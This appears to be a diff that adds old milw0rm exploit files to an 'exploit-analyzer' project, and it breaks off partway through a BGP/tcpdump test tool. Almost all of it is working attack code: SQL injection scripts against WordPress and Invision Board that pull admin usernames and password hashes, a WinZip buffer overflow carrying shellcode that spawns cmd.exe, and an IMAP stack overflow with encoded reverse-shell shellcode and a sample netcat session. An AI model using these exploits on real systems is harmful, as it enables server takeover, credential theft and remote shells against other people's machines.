131
+ char temp_buffer[MAX_PATH];
132
+ char *s;
133
+
134
+ SearchPath(NULL,"NOTEPAD",".EXE",sizeof(temp_buffer),temp_buffer,&s);
135
+
136
+ PROCESS_INFORMATION pi;
137
+
138
+ STARTUPINFO si={0};
139
+ si.cb=sizeof(si);
140
+
141
+ CreateProcess(NULL,temp_buffer,NULL,NULL,FALSE,
142
+ 0,NULL,NULL,&si,&pi);
143
+
144
+ WaitForSingleObject(pi.hProcess,INFINITE);
145
+
146
+ MessageBox(NULL,"Now you may start your own Notepad instance to check this exploit!","KAV_EXPLOITER",0);
147
+
148
+ MessageBox(NULL,"Close this window to stop exploitation","KAV_EXPLOITER",0);
149
+
150
+ UnloadExploitFromKernelMemory();
151
+ }
152
+
153
+ // milw0rm.com [2005-06-07]
exploit-analyzer/exploits/exploit_1033.txt ADDED
@@ -0,0 +1,32 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/perl -w
2
+ #
3
+ # SQL Injection Exploit for WordPress <= 1.5.1.1
4
+ # This exploit shows the username of the administrator of the blog and his
5
+ # password crypted in MD5, you must only choose the correct version of the target
6
+ # Related advisory: http://www.gentoo.org/security/en/glsa/glsa-200506-04.xml
7
+ # Patch: download the last version at http://wordpress.org/download/
8
+ # Coded by Alberto Trivero
9
+
10
+ use LWP::Simple;
11
+
12
+ print "\n\t====================================\n";
13
+ print "\t= Exploit for WordPress <= 1.5.1.1 =\n";
14
+ print "\t= by Alberto Trivero =\n";
15
+ print "\t====================================\n\n";
16
+
17
+ if(!$ARGV[0] or !($ARGV[0]=~m/http/) or !($ARGV[1]==1 or $ARGV[1]==2)) {
18
+ print "Usage:\nperl $0 [full_target_path] [target_version: 1 OR 2]\nVersion 1: WordPress <= 1.5\nVersion 2: WordPress 1.5.1 - 1.5.1.1\n\n";
19
+ print "Examples:\nperl $0 http://www.example.com/wordpress/ 2\n";
20
+ exit(0);
21
+ }
22
+
23
+ $page=get($ARGV[0]."index.php?cat=%2527%20UNION%20SELECT%20CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58))%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==1);
24
+ $page=get($ARGV[0]."index.php?cat=999%20UNION%20SELECT%20null,CONCAT(CHAR(58),user_pass,CHAR(58),user_login,CHAR(58)),null,null,null%20FROM%20wp_users/*") || die "[-] Unable to retrieve: $!" if($ARGV[1]==2);
25
+ print "[+] Connected to: $ARGV[0]\n";
26
+ $page=~m/:([a-f0-9]{32}):(.*?):/;
27
+ print "[+] Username of administrator is: $2\n" if($2);
28
+ print "[+] MD5 hash of password is: $1\n" if($1);
29
+ print "[-] Unable to retrieve username\n" if(!$2);
30
+ print "[-] Unable to retrieve hash of password\n" if(!$1);
31
+
32
+ # milw0rm.com [2005-06-22]
exploit-analyzer/exploits/exploit_1034.txt ADDED
@@ -0,0 +1,82 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ *
3
+ * WinZip Command Line Local Buffer Overflow
4
+ * http://securitytracker.com/alerts/2004/Sep/1011132.html
5
+ * http://www.winzip.com/wz90sr1.htm
6
+ * Exploit coded By ATmaCA
7
+ * Web: atmacasoft.com && spyinstructors.com
8
+ * E-Mail: atmaca@icqmail.com
9
+ * Credit to kozan
10
+ *
11
+ */
12
+
13
+ /*
14
+ *
15
+ * Tested with WinZip 8.1 on Win XP Sp2 En
16
+ * Bug Fixed on WinZip 9.0 Service Release 1 (SR-1)
17
+ * http://www.winzip.com/wz90sr1.htm
18
+ *
19
+ */
20
+
21
+ #include <windows.h>
22
+ #include <stdio.h>
23
+
24
+ #define NOP 0x90
25
+
26
+ void main()
27
+ {
28
+ // create crafted command line
29
+ char tmpfile[] = "c:\\wzs45.tmp";
30
+ char winzippath[] = "C:\\Program Files\\WINZIP\\winzip32.exe";
31
+ char zipandmailpar[] = " -* /zipandmail /@ ";
32
+ char runpar[300];
33
+ int i = 0;
34
+ strcpy(runpar,winzippath);
35
+ strcat(runpar,zipandmailpar);
36
+ strcat(runpar,tmpfile);
37
+
38
+ // need for some input file name .tmp but not must to exist
39
+ char inputfile[] = "C:\\someinputfile.ext\n";
40
+
41
+ // launch a local cmd.exe
42
+ char shellcode[] =
43
+ "\x55\x8B\xEC\x33\xFF"
44
+ "\x57\x83\xEC\x04\xC6\x45\xF8"
45
+ "\x63\xC6\x45\xF9\x6D\xC6\x45"
46
+ "\xFA\x64\xC6\x45\xFB\x2E\xC6"
47
+ "\x45\xFC\x65\xC6\x45\xFD\x78"
48
+ "\xC6\x45\xFE\x65\xB8"
49
+ "\xC7\x93\xC2\x77" //77C293C7 system() - WinXP SP2 - msvcrt.dll
50
+ "\x50\x8D\x45\xF8\x50"
51
+ "\xFF\x55\xF4";
52
+
53
+ // create crafted .tmp file
54
+ FILE *di;
55
+ if( (di=fopen(tmpfile,"wb")) == NULL ){
56
+ return;
57
+ }
58
+
59
+ for(i=0;i<sizeof(inputfile)-1;i++)
60
+ fputc(inputfile[i],di);
61
+
62
+ fprintf(di,"c:\\");
63
+
64
+ for(i=0;i<384;i++)
65
+ fputc(NOP,di);
66
+
67
+
68
+ for(i=0;i<sizeof(shellcode)-1;i++)
69
+ fputc(shellcode[i],di);
70
+
71
+ fprintf(di,"\xBF\xAC\xDA\x77"); //EIP - WinXp Sp2 Eng - jmp esp addr
72
+ fprintf(di,"\x90\x90\x90\x90"); //NOPs
73
+ fprintf(di,"\x90\x83\xEC\x74"); //sub esp,0x74
74
+ fprintf(di,"\xFF\xE4\x90\x90"); //jmp esp
75
+
76
+ fprintf(di,"\n");
77
+
78
+ fclose(di);
79
+ WinExec(runpar,SW_SHOW);
80
+ }
81
+
82
+ // milw0rm.com [2005-06-07]
exploit-analyzer/exploits/exploit_1035.txt ADDED
@@ -0,0 +1,290 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ IpSwitch IMAP Server LOGON stack overflow.
3
+ Software Hole discovered by iDEFENSE
4
+ POC written by nolimit and BuzzDee
5
+
6
+ First, some information for the few of you that know how this stuff works.
7
+ The reason you see no SP2 or 2003 offsets is because of Windows SEH checks.
8
+ Thats right, in this one situation, They've stopped hackers from exploiting the machine.
9
+ At least with as much research as I care to do. The problem lies in the
10
+ fact that only alpha numeric memory addresses can be used in this exploit.
11
+ So what lies within the few regions of memory that is alpha numeric safe? Only system
12
+ DLLs.(Well also a 7000 byte TEB block section, which doesn't really produce much either).
13
+ So any SEH address overwritten that points to a system DLL will fail past Windows XP SP2.
14
+ From what I've read and the few tricks I've tried, Theirs no way currently to get around the
15
+ protection In my situation.
16
+
17
+ For the sharp ones, you've maybe noticed that XP SP1 isn't an offset. This is because
18
+ of two reasons, While I've developed along with skylined an alpha numeric shellcode
19
+ to handle the stack protections in Windows XP/2K3, I don't think he's ready to release
20
+ it yet.So, when It does come around, you can use that and re-adjust the stack accordingly
21
+ for proper exploitation of SP1.
22
+
23
+ The size we have on the stack is too small for a bindshell, but big enough for a reverse shell!
24
+ So I use ALPHA2's decoder and encoder (modified) to write info to reverse shell, then encode it.
25
+ visit http://www.edup.tudelft.nl/~bjwever/documentation_alpha2.html.php for more information.
26
+
27
+ Now, for the "impact assessment".
28
+ Because this doesn't work on SP2 / 2003, the 53 million users that use Imail should
29
+ mostly be safe from complete ownage. But, Do not let this fact let you not patch your
30
+ server! This exploit, sent with any offset, will still crash your IMAP server!
31
+ With that said, Thier is still a small amount of servers online that run one of these
32
+ targetted offsets, and therefore can be exploited. I hope this Proof Of Concept is the
33
+ push administrators need to patch their software.
34
+
35
+ For Da Skiddies: this exploit is teh oww kay. I g0t a f3w shells0rs.
36
+
37
+ C:\HACKING\tools>nc -vv -l -p 3333
38
+ listening on [any] 3333 ...
39
+ DNS fwd/rev mismatch: 2kvm != 2kvm.launchmodem.com
40
+ connect to [192.168.1.95] from 2kvm [192.168.1.93] 1078
41
+ Microsoft Windows 2000 [Version 5.00.2195]
42
+ (C) Copyright 1985-2000 Microsoft Corp.
43
+
44
+ C:\WINNT\system32>_
45
+
46
+ Questions? Comments?
47
+ nolimit@coreiso.org
48
+
49
+
50
+ - - ---.
51
+ .----------------------. | ·
52
+ | :::::::::''''':::::: | ! · /
53
+ l ''''' '': | ` /_/
54
+ .--- --·X·----------- -- - - | - c o r e i s o __ \ · - - ---.
55
+ | ! : /_/\ \/ |
56
+ | _\ \ \ |
57
+ S! /\____ | _ ______/\ __ ______/\ __ ______/\ / /\_\/ _______ /\______
58
+ _/ _/_____\ _ \__ _ \__ _ \_/ / \ _/ ____// _ \_
59
+ // / _ / / _/ / / / / / \_____ |/ /
60
+ _/ / / / _/ \ _/\ ______/\/ /: |/ / /|
61
+ \ ___________/\ _________\ _____|\______\ __________\ /|| _______________|
62
+ \/ . . \/ \/ . \/ /_/ / |______\ .
63
+ | | . _\ \ / |
64
+ | | l /_/\_\/ |
65
+ `------ | ------- -- - - ---·X·-- - -_\ \ \ - - - -- ----'
66
+ . | :. ..... !. / /\_\/
67
+ : | :::::......::::::::: |: / /. \
68
+ | `----------------------'| /_// / www.coreiso.org
69
+ `--- - - | \ \ / Innovation, not imitation.
70
+ - - ---' \_\/
71
+
72
+ */
73
+ #include <stdio.h>
74
+ #include <string.h>
75
+ #include <winsock.h>
76
+ #pragma comment(lib,"ws2_32")
77
+
78
+ void cmdshell (int sock);
79
+ long gimmeip(char *hostname);
80
+ char buffer[2500];
81
+
82
+ //special stuff
83
+ char* alphaEncodeShellcode(char *shellcode, int size);
84
+ // un-crypted shellcode that we'll fill our retn values, then encode.
85
+ char unEncShellcode[]=
86
+ "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45"
87
+ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49"
88
+ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d"
89
+ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66"
90
+ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61"
91
+ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40"
92
+ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32"
93
+ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6"
94
+ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09"
95
+ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68"
96
+ //160 above, ip next 4 bytes then, pass 2 theres port
97
+ "\x64\x64\x64\x64\x66\x68\x0d\x05\x66\x53\x89\xe1\x95\x68\xec\xf9"
98
+ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68"
99
+ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3"
100
+ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab"
101
+ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51"
102
+ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6"
103
+ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6"
104
+ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0";
105
+
106
+ //modified encoded alpha num SUB ECX, 2E8 JMP ECX
107
+ char jmpBack[]=
108
+ "VTX630VXH49HHHPhYAAQhZYYYYAAQQDDDd36FFFFTXVj0PPTUPPa301089"
109
+ "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIoqYyKHTB30WpyoKQAPA";
110
+ int paddingSize; // change when changing shellcode. 676 bytes - shellcodesize = this.
111
+ char jmp2KSP4[] = "\x40\x43\x44\x78"; //JMP EBX 2000 SP4 TESTED
112
+ char jmp2KSP3[] = "\x40\x23\x44\x78"; //JMP EBX 2000 SP3
113
+ char jmp2KSP2[] = "\x40\x21\x46\x78"; //JMP EBX 2000 SP2
114
+ char jmp2KSP1[] = "\x62\x54\x30\x77"; //POP POP RETN 2000 SP1 (no jmp ebx)
115
+ char jmp2KSP0[] = "\x6C\x30\x6B\x77"; //JMP EBX 2000 SP0
116
+ char jmpXPSP0[] = "\x63\x4F\x60\x77"; //JMP EBX WinXP SP0 no SEH XOR prot so JMP EBX is ok
117
+
118
+ int main(int argc,char *argv[])
119
+ {
120
+ WSADATA wsaData;
121
+ struct sockaddr_in targetTCP;
122
+ int sockTCP;
123
+ unsigned short port = 143;
124
+ long ip;
125
+ if(argc < 5)
126
+ {
127
+ printf("IpSwitch IMAP server Remote Stack Overflow.\n"
128
+ "This exploit uses a reverse shell payload.\n"
129
+ "Usage: %s [retnaddr] [retport] [target] [address] <port_to_exploit>\n"
130
+ " eg: %s 192.168.1.94 1564 2 192.168.1.95\n"
131
+ "Targets:\n"
132
+ "1. Windows XP SP 0.\n2. Windows 2000 SP4\n3. Windows 2000 SP3\n"
133
+ "4. Windows 2000 SP2\n5. Windows 2000 SP1\n6. Windows 2000 SP0\n"
134
+ "Read comments in source code for more info.\n"
135
+ "Coded by nolimit@CiSO and BuzzDee.\n",argv[0],argv[0]);
136
+ return 1;
137
+ }
138
+ if(argc==6)
139
+ port = atoi(argv[5]);
140
+ WSAStartup(0x0202, &wsaData);
141
+ printf("[*] Target:\t%s \tPort: %d\n\n",argv[4],port);
142
+ ip=gimmeip(argv[4]);
143
+ targetTCP.sin_family = AF_INET;
144
+ targetTCP.sin_addr.s_addr = ip;
145
+ targetTCP.sin_port = htons(port);
146
+ //set ip/port specified. Probably could have done this easier, but whatever.
147
+ unsigned long revIp = gimmeip(argv[1]);
148
+ unsigned long *revPtr = (unsigned long *)&unEncShellcode;
149
+ revPtr = revPtr + (160/4); //go to ip place, it adds by 4, and it's 160 bytes away.
150
+ *revPtr = revIp;
151
+ char *portPtr = (char *)revPtr + 6; //ptr + 2 bytes past
152
+ int rPort = atoi(argv[2]);
153
+ char *revPortPtr = (char *)&rPort;
154
+ memcpy(portPtr,revPortPtr+1,1);
155
+ memcpy(portPtr+1,revPortPtr,1);
156
+ //done formatting, now lets encode it.
157
+ char *shellcode = alphaEncodeShellcode(unEncShellcode,sizeof(unEncShellcode));
158
+ paddingSize = 676 - strlen(shellcode);
159
+ //form buffer here.
160
+ memset(buffer,'\x00',2500);
161
+ strcpy(buffer,"A001 LOGIN user@");
162
+ memset(buffer+16,'\x41',paddingSize); //INC ECX nopslide
163
+ strcat(buffer,shellcode);
164
+ strcat(buffer,"r!s!"); //jmp over SE handler
165
+ switch(atoi(argv[3]))
166
+ {
167
+ case 1:
168
+ printf("[*] Targetting Windows XP SP 0..\n");
169
+ strcat(buffer,jmpXPSP0);
170
+ break;
171
+ case 2:
172
+ printf("[*] Targetting Windows 2000 SP4..\n");
173
+ strcat(buffer,jmp2KSP4);
174
+ break;
175
+ case 3:
176
+ printf("[*] Targetting Windows 2000 SP3..\n");
177
+ strcat(buffer,jmp2KSP3);
178
+ break;
179
+ case 4:
180
+ printf("[*] Targetting Windows 2000 SP2..\n");
181
+ strcat(buffer,jmp2KSP2);
182
+ break;
183
+ case 5:
184
+ printf("[*] Targetting Windows 2000 SP1..\n");
185
+ strcat(buffer,jmp2KSP1);
186
+ break;
187
+ case 6:
188
+ printf("[*] Targetting Windows 2000 SP0..\n");
189
+ strcat(buffer,jmp2KSP0);
190
+ break;
191
+ default:
192
+ printf("Target error.\n");
193
+ return 1;
194
+ break;
195
+ }
196
+ memset(buffer+strlen(buffer),'\x41',29);
197
+ strcat(buffer,jmpBack); //decodes to jmp back to top part of buffer
198
+ memset(buffer+strlen(buffer),'\x41',1323);
199
+ strcat(buffer," nolimits\r\n");
200
+ //buffer formed
201
+ if ((sockTCP = socket(AF_INET, SOCK_STREAM, 0)) == -1)
202
+ {
203
+ printf("[x] Socket not initialized! Exiting...\n");
204
+ WSACleanup();
205
+ return 1;
206
+ }
207
+ printf("[*] Socket initialized...\n");
208
+ if(connect(sockTCP,(struct sockaddr *)&targetTCP, sizeof(targetTCP)) != 0)
209
+ {
210
+ printf("[*] Connection to host failed! Exiting...\n");
211
+ WSACleanup();
212
+ exit(1);
213
+ }
214
+ printf("[*] Sending buffer.\n");
215
+ Sleep(1000);
216
+ if (send(sockTCP, buffer, strlen(buffer),0) == -1)
217
+ {
218
+ printf("[x] Failed to inject packet! Exiting...\n");
219
+ WSACleanup();
220
+ return 1;
221
+ }
222
+ Sleep(1000);
223
+ closesocket(sockTCP);
224
+ WSACleanup();
225
+ printf("Exploit sent. Reverse Shell should be comming if everyhing worked.\n");
226
+ return 0;
227
+ }
228
+
229
+ /*********************************************************************************/
230
+ long gimmeip(char *hostname)
231
+ {
232
+ struct hostent *he;
233
+ long ipaddr;
234
+
235
+ if ((ipaddr = inet_addr(hostname)) < 0)
236
+ {
237
+ if ((he = gethostbyname(hostname)) == NULL)
238
+ {
239
+ printf("[x] Failed to resolve host: %s! Exiting...\n\n",hostname);
240
+ WSACleanup();
241
+ exit(1);
242
+ }
243
+ memcpy(&ipaddr, he->h_addr, he->h_length);
244
+ }
245
+ return ipaddr;
246
+ }
247
+ /*********************************************************************************/
248
+
249
+ //Below here, all code is modified code from ALPHA 2: Zero-tolerance by Berend-Jan Wever.
250
+ // aka Skylined <skylined@edup.tudelft.nl>. Hats off to him.
251
+
252
+ //ecx ascii decoder.
253
+ #define ecx_mixedcase_ascii_decoder "IIIIIIIIIIIIIIIII7QZjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJI"
254
+ // shellcode ptr & size
255
+ char* alphaEncodeShellcode(char *shellcode, int size)
256
+ {
257
+ int i, input, A, B, C, D, E, F;
258
+ char* valid_chars="0123456789BCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";
259
+ //first, create a big enough shellcode memory section
260
+ char *encShellcode = (char *) malloc(sizeof((ecx_mixedcase_ascii_decoder) + (size * 2)));
261
+ strcpy(encShellcode,ecx_mixedcase_ascii_decoder);
262
+ char buff[4];
263
+ int z=0;
264
+ for(;z < size;z++)
265
+ {
266
+ // encoding AB -> CD 00 EF 00
267
+ A = (shellcode[z] & 0xf0) >> 4;
268
+ B = (shellcode[z] & 0x0f);
269
+
270
+ F = B;
271
+ // E is arbitrary as long as EF is a valid character
272
+ i = rand() % strlen(valid_chars);
273
+ while ((valid_chars[i] & 0x0f) != F) { i = ++i % strlen(valid_chars); }
274
+ E = valid_chars[i] >> 4;
275
+ // normal code uses xor, unicode-proof uses ADD.
276
+ // AB ->
277
+ D = 0 ? (A-E) & 0x0f : (A^E);
278
+ // C is arbitrary as long as CD is a valid character
279
+ i = rand() % strlen(valid_chars);
280
+ while ((valid_chars[i] & 0x0f) != D) { i = ++i % strlen(valid_chars); }
281
+ C = valid_chars[i] >> 4;
282
+ //edit, use curChar ptr to strncpy it.
283
+ //printf("%c%c", (C<<4)+D, (E<<4)+F);
284
+ sprintf(buff,"%c%c",(C<<4)+D, (E<<4)+F);
285
+ strcat(encShellcode,buff);
286
+ }
287
+ return encShellcode;
288
+ }
289
+
290
+ // milw0rm.com [2005-06-07]
exploit-analyzer/exploits/exploit_1036.txt ADDED
@@ -0,0 +1,79 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ <?php
2
+ /*
3
+ <= 1.3.1 Final
4
+ /str0ke
5
+ */
6
+
7
+ $server = "SERVER";
8
+ $port = 80;
9
+ $file = "PATH";
10
+
11
+ $target = 81;
12
+
13
+ /* User id and password used to fake-logon are not important. '10' is a
14
+ random number. */
15
+ $id = 10;
16
+ $pass = "";
17
+
18
+ $hex = "0123456789abcdef";
19
+ for($i = 1; $i <= 32; $i++ ) {
20
+ $idx = 0;
21
+ $found = false;
22
+
23
+ while( !($found) ) {
24
+ $letter = substr($hex, $idx, 1);
25
+
26
+ /* %2527 translates to %27, which gets past magic quotes.
27
+ This is translated to ' by urldecode. */
28
+ $cookie =
29
+ "member_id=$id;pass_hash=$pass%2527%20OR%20id=$target";
30
+ $cookie .=
31
+ "%20HAVING%20id=$target%20AND%20MID(`password`,$i,1)=%2527" . $letter;
32
+
33
+ /* Query is in effect: SELECT * FROM ibf_members
34
+ WHERE id=$id AND password='$pass' OR
35
+ id=$target
36
+ HAVING id=$target AND
37
+ MID(`password`,$i,1)='$letter' */
38
+
39
+ $header = getHeader($server, $port, $file .
40
+ "index.php?act=Login&CODE=autologin", $cookie);
41
+ if( !preg_match('/Location:(.*)act\=Login\&CODE\=00\r\n/',
42
+ $header) ) {
43
+ echo $i . ": " . $letter . "\n";
44
+ $found = true;
45
+
46
+ $hash .= $letter;
47
+ } else {
48
+ $idx++;
49
+ }
50
+ }
51
+ }
52
+
53
+ echo "\n\nFinal Hash: $hash\n";
54
+
55
+ function getHeader($server, $port, $file, $cookie) {
56
+ $ip = gethostbyname($server);
57
+ $fp = fsockopen($ip, $port);
58
+
59
+ if (!$fp) {
60
+ return "Unknown";
61
+ } else {
62
+ $com = "HEAD $file HTTP/1.1\r\n";
63
+ $com .= "Host: $server:$port\r\n";
64
+ $com .= "Cookie: $cookie\r\n";
65
+ $com .= "Connection: close\r\n";
66
+ $com .= "\r\n";
67
+
68
+ fputs($fp, $com);
69
+
70
+ do {
71
+ $header.= fread($fp, 512);
72
+ } while( !preg_match('/\r\n\r\n$/',$header) );
73
+ }
74
+
75
+ return $header;
76
+ }
77
+ ?>
78
+
79
+ // milw0rm.com [2005-06-08]
exploit-analyzer/exploits/exploit_1037.txt ADDED
@@ -0,0 +1,360 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ /*
2
+ * 2005-05-31: Modified by simon@FreeBSD.org to test tcpdump infinite
3
+ * loop vulnerability.
4
+ *
5
+ * libnet 1.1
6
+ * Build a BGP4 update message with what you want as payload
7
+ *
8
+ * Copyright (c) 2003 Fr d ric Raynal <pappy at security-labs organization>
9
+ * All rights reserved.
10
+ *
11
+ * Examples:
12
+ *
13
+ * empty BGP UPDATE message:
14
+ *
15
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2
16
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
17
+ * Wrote 63 byte TCP packet; check the wire.
18
+ *
19
+ * 13:44:29.216135 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
20
+ * 16843009:16843032(23) win 32767: BGP (ttl 64, id 242, len 63)
21
+ * 0x0000 4500 003f 00f2 0000 4006 73c2 0101 0101 E..?....@.s.....
22
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
23
+ * 0x0020 5002 7fff b288 0000 0101 0101 0101 0101 P...............
24
+ * 0x0030 0101 0101 0101 0101 0017 0200 0000 00 ...............
25
+ *
26
+ *
27
+ * BGP UPDATE with Path Attributes and Unfeasible Routes Length
28
+ *
29
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -a `printf "\x01\x02\x03"` -A 3 -W 13
30
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
31
+ * Wrote 79 byte TCP packet; check the wire.
32
+ *
33
+ * 13:45:59.579901 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
34
+ * 16843009:16843048(39) win 32767: BGP (ttl 64, id 242, len 79)
35
+ * 0x0000 4500 004f 00f2 0000 4006 73b2 0101 0101 E..O....@.s.....
36
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
37
+ * 0x0020 5002 7fff 199b 0000 0101 0101 0101 0101 P...............
38
+ * 0x0030 0101 0101 0101 0101 0027 0200 0d41 4141 .........'...AAA
39
+ * 0x0040 4141 4141 4141 4141 4141 0003 0102 03 AAAAAAAAAA.....
40
+ *
41
+ *
42
+ * BGP UPDATE with Reachability Information
43
+ *
44
+ * # ./bgp4_update -s 1.1.1.1 -d 2.2.2.2 -I 7
45
+ * libnet 1.1 packet shaping: BGP4 update + payload[raw]
46
+ * Wrote 70 byte TCP packet; check the wire.
47
+ *
48
+ * 13:49:02.829225 1.1.1.1.26214 > 2.2.2.2.179: S [tcp sum ok]
49
+ * 16843009:16843039(30) win 32767: BGP (ttl 64, id 242, len 70)
50
+ * 0x0000 4500 0046 00f2 0000 4006 73bb 0101 0101 E..F....@.s.....
51
+ * 0x0010 0202 0202 6666 00b3 0101 0101 0202 0202 ....ff..........
52
+ * 0x0020 5002 7fff e86d 0000 0101 0101 0101 0101 P....m..........
53
+ * 0x0030 0101 0101 0101 0101 001e 0200 0000 0043 ...............C
54
+ * 0x0040 4343 4343 4343 CCCCCC
55
+ *
56
+ *
57
+ * Redistribution and use in source and binary forms, with or without
58
+ * modification, are permitted provided that the following conditions
59
+ * are met:
60
+ * 1. Redistributions of source code must retain the above copyright
61
+ * notice, this list of conditions and the following disclaimer.
62
+ * 2. Redistributions in binary form must reproduce the above copyright
63
+ * notice, this list of conditions and the following disclaimer in the
64
+ * documentation and/or other materials provided with the distribution.
65
+ *
66
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
67
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
68
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
69
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
70
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
71
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
72
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
73
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
74
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
75
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
76
